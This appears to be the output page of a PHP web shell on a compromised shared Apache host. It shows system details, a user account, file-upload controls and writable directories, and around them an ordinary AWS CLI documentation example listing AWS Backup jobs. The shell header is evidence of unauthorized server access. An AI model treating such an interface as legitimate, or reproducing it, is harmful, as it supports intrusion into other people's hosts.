https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/awscli/examples/backup/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/awscli/examples/backup/list-backup-jobs.rst
**Example 1: To list all backup jobs**

The following ``list-backup-jobs`` example returns metadata about your backup jobs in your AWS account. ::

    aws backup list-backup-jobs 

Output::

    {
        "BackupJobs": [
            {
                "BackupJobId": "a1b2c3d4-5678-90ab-cdef-EXAMPLE11111",
                "BackupVaultName": "Default",
                "BackupVaultArn": "arn:aws:backup:us-west-2:123456789012:backup-vault:Default",
                "ResourceArn": "arn:aws:ec2:us-west-2:123456789012:instance/i-12345678901234567",
                "CreationDate": 1600721892.929,
                "State": "CREATED",
                "PercentDone": "0.0",
                "IamRoleArn": "arn:aws:iam::123456789012:role/service-role/AWSBackupDefaultServiceRole",
                "StartBy": 1600725492.929,
                "ResourceType": "EC2"
            },
            {
                "BackupJobId": "a1b2c3d4-5678-90ab-cdef-EXAMPLE22222",
                "BackupVaultName": "Default",
                "BackupVaultArn": "arn:aws:backup:us-west-2:123456789012:backup-vault:Default",
                "RecoveryPointArn": "arn:aws:backup:us-west-2:123456789012:recovery-point:a1b2c3d4-5678-90ab-cdef-EXAMPLE33333",
                "ResourceArn": "arn:aws:elasticfilesystem:us-west-2:123456789012:file-system/fs-12345678",
                "CreationDate": 1600721724.77,
                "CompletionDate": 1600721744.488,
                "State": "COMPLETED",
                "PercentDone": "100.0",
                "BackupSizeInBytes": 71,
                "IamRoleArn": "arn:aws:iam::123456789012:role/service-role/AWSBackupDefaultServiceRole",
                "StartBy": 1600725324.77,
                "ResourceType": "EFS"
            }
        ]
    }

For more information, see `Creating a Backup <https://https://docs.aws.amazon.com/aws-backup/latest/devguide/creating-a-backup.html>`__ in the *AWS Backup Developer Guide*.

**Example 2: To list completed backup jobs**

The following ``list-backup-jobs`` example returns metadata about your completed backup jobs in your AWS account. ::

    aws backup list-backup-jobs \
        --by-state COMPLETED

Output::

    {
        "BackupJobs": [
            {
                "BackupJobId": "a1b2c3d4-5678-90ab-cdef-EXAMPLE22222",
                "BackupVaultName": "Default",
                "BackupVaultArn": "arn:aws:backup:us-west-2:123456789012:backup-vault:Default",
                "RecoveryPointArn": "arn:aws:backup:us-west-2:123456789012:recovery-point:a1b2c3d4-5678-90ab-cdef-EXAMPLE33333",
                "ResourceArn": "arn:aws:elasticfilesystem:us-west-2:123456789012:file-system/fs-12345678",
                "CreationDate": 1600721724.77,
                "CompletionDate": 1600721744.488,
                "State": "COMPLETED",
                "PercentDone": "100.0",
                "BackupSizeInBytes": 71,
                "IamRoleArn": "arn:aws:iam::123456789012:role/service-role/AWSBackupDefaultServiceRole",
                "StartBy": 1600725324.77,
                "ResourceType": "EFS"
            }
        ]
    }

For more information, see `Creating a Backup <https://https://docs.aws.amazon.com/aws-backup/latest/devguide/creating-a-backup.html>`__ in the *AWS Backup Developer Guide*.

https://t.me/RX1948 - 2025